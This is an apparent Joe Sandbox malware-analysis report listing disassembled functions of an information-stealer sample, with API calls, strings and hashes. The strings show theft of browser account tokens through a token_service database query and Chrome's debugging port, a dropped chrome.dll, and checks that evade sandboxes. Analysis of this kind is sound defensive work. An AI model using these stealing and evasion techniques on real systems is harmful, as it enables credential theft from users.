Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 55cb5c2a7629b1ee5d86d8e5dc771b72d06badfc50cfc86c736eb668e1aa311f
Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 55cb5c2a7629b1ee5d86d8e5dc771b72d06badfc50cfc86c736eb668e1aa311f
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

"ws://, xrefs: 00409B84
http://localhost:9229/json, xrefs: 00409A9F
"webSocketDebuggerUrl":, xrefs: 00409B4B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 9a17a714a5a0c8d0b039928d3d16d28412eab0c8aa01b0e46bcf2e857182f13f
Instruction ID: 65c64d5f42ab2d525f7f9866baa54bb10b69c20dcdde589055b7f2aa2564e8b2
Opcode Fuzzy Hash: 9a17a714a5a0c8d0b039928d3d16d28412eab0c8aa01b0e46bcf2e857182f13f
Instruction Fuzzy Hash: C0414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505BA191DBB8AEC0CF68

Function 00417690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

C, xrefs: 004176DC
\, xrefs: 004176F0
:, xrefs: 004176EC

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008B01E0,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,008B01E0,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

%d MB, xrefs: 00418333
@, xrefs: 004182DD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

AccountId, xrefs: 0040BC94
AccountTokens, xrefs: 0040BA8A
AccountTokens, xrefs: 0040BB19
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 001dc710f37c758b7f32b4fb918b13290ee0c75a85cb267e5f537ee0f55ab16b
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 001dc710f37c758b7f32b4fb918b13290ee0c75a85cb267e5f537ee0f55ab16b
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 6D47F360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 449COMMON

Download Yara Rule

APIs

Part of subcall function 6D4AC710: setsockopt.WS2_32(?,00000006,00000001,00000004,00000004), ref: 6D4AC72F
Part of subcall function 6D4AC710: WSAGetLastError.WS2_32(?,00000004,00000020), ref: 6D4AC73C

closesocket.WS2_32(?), ref: 6D47F76A
closesocket.WS2_32(?), ref: 6D47F7A8
closesocket.WS2_32(?), ref: 6D47FA6C

Strings

pLGm, xrefs: 6D47F8FA
S/MmK, xrefs: 6D47FA30
a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6D47FA3D

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: closesocket$ErrorLastsetsockopt
String ID: S/MmK$a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs$pLGm
API String ID: 1009131482-889215900
Opcode ID: 86b5c2e1643673e1df35029e4c35c7973cb57ae149a7ad936474460914c5af4b
Instruction ID: 037716991482b0e83bf906b346cb1a9f2b441e65822632601bd39f7f8d0474ba
Opcode Fuzzy Hash: 86b5c2e1643673e1df35029e4c35c7973cb57ae149a7ad936474460914c5af4b
Instruction Fuzzy Hash: F22265B4505B019FE320CF24C884B97BBE5BF08304F048A1DD9AA8BB91E775F949CB91

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,008A92E0), ref: 00410922
StrCmpCA.SHLWAPI(00000000,008A9240), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,008A9260), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00410C30
C:\ProgramData\chrome.dll, xrefs: 004108CD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 2e9857a3828fae925b8623b8321c99e65d39047003e1cc804257c827778dcd57
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: 2e9857a3828fae925b8623b8321c99e65d39047003e1cc804257c827778dcd57
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A11F8), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1180), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1078), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1198), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1258), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A9020), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A66B0), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A6750), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1270), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1288), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A12A0), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A1318), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A6870), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,008A12B8), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008A8FB0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,008A8FB0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: a4defcf71c58f288f0d6b4bb835f2b265bb5815ebfb1dc2ba63473b7ad6e56e2
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: a4defcf71c58f288f0d6b4bb835f2b265bb5815ebfb1dc2ba63473b7ad6e56e2
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 6D4B0EE0 Relevance: 10.6, APIs: 7, Instructions: 65networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(00000002,6D4B2BD4,00000000,00000000,00000000,00000081), ref: 6D4B0F0C
WSAGetLastError.WS2_32(?,6D4B2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6D47BF6E,?,00000004), ref: 6D4B0F24
WSASocketW.WS2_32(00000002,6D4B2BD4,00000000,00000000,00000000,00000001), ref: 6D4B0F42
SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,6D4B2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6D47BF6E), ref: 6D4B0F54
WSAGetLastError.WS2_32(?,6D4B2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6D47BF6E,?,00000004), ref: 6D4B0F6B
GetLastError.KERNEL32(?,6D4B2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6D47BF6E,?,00000004), ref: 6D4B0F7C
closesocket.WS2_32(00000000), ref: 6D4B0F8C

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocket
String ID:
API String ID: 3114377017-0
Opcode ID: 3a43f74aa2a8774fec0ff1715002dbedb7220d6c9cea675c36b4a2669f731560
Instruction ID: efa0fdfa8286db9b9313f4b5e3f114da09eeac90dac05c90b39b4d56ba29f6f0
Opcode Fuzzy Hash: 3a43f74aa2a8774fec0ff1715002dbedb7220d6c9cea675c36b4a2669f731560
Instruction Fuzzy Hash: B3114970344341ABEB215F25CD48F1A7EF8EB4AB62F204519F969DA2C0D3B4AC818B20

Function 0041856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,008B0150,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,008B0138,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.KERNEL32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
